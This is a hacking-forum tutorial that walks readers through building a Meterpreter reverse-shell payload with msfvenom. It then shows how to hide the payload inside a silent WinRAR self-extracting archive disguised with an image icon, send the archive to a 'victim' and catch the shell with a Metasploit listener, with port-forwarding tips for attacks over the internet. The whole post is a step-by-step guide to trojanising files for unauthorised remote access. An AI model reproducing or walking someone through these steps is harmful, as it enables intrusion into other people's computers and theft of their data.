# How To Hack Windows PC by Sending An Image Using Kali Linux Metasploit

**URL:** <https://onehack.st/t/how-to-hack-windows-pc-by-sending-an-image-using-kali-linux-metasploit/65467>\
**Category:** Tutorials & Methods\
**Tags:** hacking, tips-tricks\
**Created:** [January 9, 2020, 3:00pm UTC](https://onehack.st/t/how-to-hack-windows-pc-by-sending-an-image-using-kali-linux-metasploit/65467 "2020-01-09T15:00:53Z")\
**Posts on this page:** 1\
**Page:** 1

<div class="post-metadata">

**Author:** ![TheJoker](https://onehack.st/user_avatar/onehack.st/thejoker/32/22660_2.png) [@TheJoker](https://onehack.st/u/TheJoker)\
**Post date:** [January 9, 2020, 3:00pm UTC](https://onehack.st/t/how-to-hack-windows-pc-by-sending-an-image-using-kali-linux-metasploit/65467/1 "2020-01-09T15:00:53Z")

</div>

![image](https://onehack.st/uploads/default/original/3X/d/8/d805ed78943bc85e99c9b2f0619aa07d5d91cd91.jpeg)

**How To Hack Windows Using an Image** :- I already published a post about hacking windows using an excel file, and it was a really great tutorial. You should read that post if you haven’t done that. But now, it’s time for something new, I will tell you how to hack any windows just by sending an image.

In the excel file method, we implemented the code in file and when the victim opened it, code executed too and we got the session in Metasploit.

This method is pretty the same. In this method, we will create payload and then we will implement that payload with an image and create a rar file so that when victim clicks on the rar file, they will see an image and payload or rat (anything that you are using) will be executed in the background.

If you face any problem while doing this, just comment on this post and please do share this post with your friends, if you like it.

You need to have these tools and OS to accomplish this task.

**Requirements**

Kali Linux

Windows

Winrar for windows ([Download](https://www.win-rar.com/download.html))

Let’s start.

## **How to Hack Windows PC by sending an Image**

Step 1- Like always, first of all, we need to create payload. Open Kali Linux terminal and execute below command to create payload.

**msfvenom –p windows/meterpreter/reverse\_tcp lhost=192.168.56.101 lport=5555 –o payload.exe**

192.168.56.101 is my IP address, 5555 is the port that I want to use and **payload.exe** is the name of payload file.

You need to customize these options with your IP address (type **ifconfig** to check your private ip address), port number and name of payload according to you.

If you to hack your target over WAN or the Internet, you need to port forward in router or you can also use [portmap.io](http://portmap.io) to port forward without router.

Step 2- Choose an image that you want to use, an image that you want your victim to see when payload will be executed. For this tutorial, name of my image is **picture.jpg**

You need to covert this picture to icon. Go to the [icoconverter.com](https://www.icoconverter.com/), upload the image that you want to use, select **64pixels** and **8bits** options and unselect all other options. Click on **Convert** button. You will have a new image, rename this. For example, I will just rename this file to **picture.ico**

We need windows to complete our process and next steps and we also need the WinRAR now, so I hope you have installed WinRAR.

Step 3- In windows, copy and paste the **payload.exe** file and **image file** and **picture.ico** icon file in a new folder. Select both payload and image file (not icon file, only payload and image file) and right-click on payload file, then click on **Add to archive** option.

All the next steps are really important, so pay attention.

Step 4- You will see a new window named, **Archive name and Parameters**.

Now you need to customize rar file features in the **General** tab, rename the file with some more convincing name.

In **Archiving** options, select create **SFX Archive**.

In the **Compression Method** , select **Best**.

You need to have these settings in the general tab.

 ![image](https://onehack.st/uploads/default/original/3X/0/2/0211da5051a22ba41dd611b06c968bffaa1f681a.jpeg)

Go to the **Advanced** tab, click on **SFX Options** button.

Go to the **Setup** tab, In **Run after execution,** write the name of payload file and image files like **payload.exe** and **picture.jpg**. Have a look at the example below.

 ![image](https://onehack.st/uploads/default/original/3X/c/a/cae5bef28f5780b2c6fa05f29f0cf64d0a0bf6a3.png)

Then go to the **Modes** tab. In **Silent Mode** , select **Hide All** option.

 ![image](https://onehack.st/uploads/default/original/3X/c/e/ceffde0a8e51b5f4eb21bd0193f1a77ad2b106c1.png)

Go to the **Update** tab. In **Update Mode** , select **Extract and Update Files**. In **Overwrite,** select **Overwrite all files** option.

 ![image](https://onehack.st/uploads/default/original/3X/3/f/3f7980f561ecf8359e6122549bb636bf5885947f.png)

Then go to the **Text and Icon** tab. In **Load the SFX Icon from the File** , select the picture.ico icon file that we created in step 2.

 ![image](https://onehack.st/uploads/default/original/3X/1/7/1743e986e580b85faa504d01c87067b47822d561.png)

Step 5- Finally, Click on **OK** button and you will see a new file in the same folder with the name that you used in while creating rar file in step 4.

Send this file to your victim.

Now, whenever your victim will click on it, they will see just an image and payload will be executed in the background and you will get the shell.

Step 6 – Let’s start our listener in Kali Linux. Open terminal and execute following commands step by step in the terminal.

**msfconsole**

**use exploit/multi/handler**

**set PAYLOAD windows/meterpreter/reverse\_tcp**

**set LHOST 192.168.56.101**

**set LPORT 5555**

**run**

In lhost option, enter IP address that you used while creating the payload. Anyway, this will start the listener and now all you have to do is wait for the victim to click on the image that you sent.

As soon as your victim clicks on the image, you will get the session.

**Conclusion**

It was our second tutorial in the series of hacking windows using kali linux and Metasploit. If you want some more, just stay updated by subscribing to our email newsletter, follow us on facebook and twitter.

Share this with your friends if you liked this.
